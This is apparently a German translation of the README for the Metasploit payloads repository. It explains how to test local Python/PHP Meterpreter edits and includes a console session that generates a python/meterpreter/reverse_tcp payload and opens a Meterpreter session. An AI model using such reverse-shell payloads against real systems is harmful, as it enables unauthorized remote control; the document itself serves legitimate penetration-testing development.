metasploit-payloads

Appveyor-Build-Status:

Dies ist ein einheitliches Repository für verschiedene Payloads des Metasploit Framework, das folgende Repositories zusammenführt:

• C Windows Meterpreter
• Java und Android Meterpreter und Payloads
• Python und PHP Meterpreter

Ein alternativer plattformübergreifender C Meterpreter namens Mettle wird unter https://github.com/rapid7/mettle entwickelt.

Siehe die einzelnen Verzeichnisse für Meterpreter-spezifische README, Build-Anweisungen und Lizenzdetails:

• C Windows/Linux Meterpreters
• Java/Android Meterpreters und Payloads

Für Python- und PHP-Meterpreter können Sie Änderungen an diesen Dateien testen, indem Sie die zugehörigen Dateien nach ~/.msf4/payloads/meterpreter symlinken. Ein Beispiel, wie dies für eine Python-Meterpreter-Bearbeitung aussehen könnte:

mkdir -p ~/.msf4/payloads
cd ~/metasploit-payloads
ln -s ~/metasploit-payloads/python/meterpreter/ext_server_stdapi.py ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
file ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
       /home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py: symbolic link to /home/your_user/git/metasploit-payloads/python/meterpreter/ext_server_stdapi.py

Wenn alles geklappt hat, sollten Sie eine Warnmeldung sehen, wenn Sie eine der entsprechenden Meterpreter-Payloads auswählen und eine Sitzung empfangen:

msf6 > use payload/python/meterpreter/reverse_tcp
msf6 payload(python/meterpreter/reverse_tcp) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf6 payload(python/meterpreter/reverse_tcp) > generate -f raw -o reverse.py
[*] Writing 436 bytes to reverse.py...
msf6 payload(python/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 192.168.153.128:4444
msf6 payload(python/meterpreter/reverse_tcp) > WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/meterpreter.py is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (24380 bytes) to 192.168.153.1
WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (192.168.153.128:4444 -> 192.168.153.1:50334) at 2022-12-13 12:49:49 -0600

Wenn Sie Änderungen an Meterpreter vornehmen, stellen Sie sicher, dass die Testmodule als funktionierend verifiziert werden.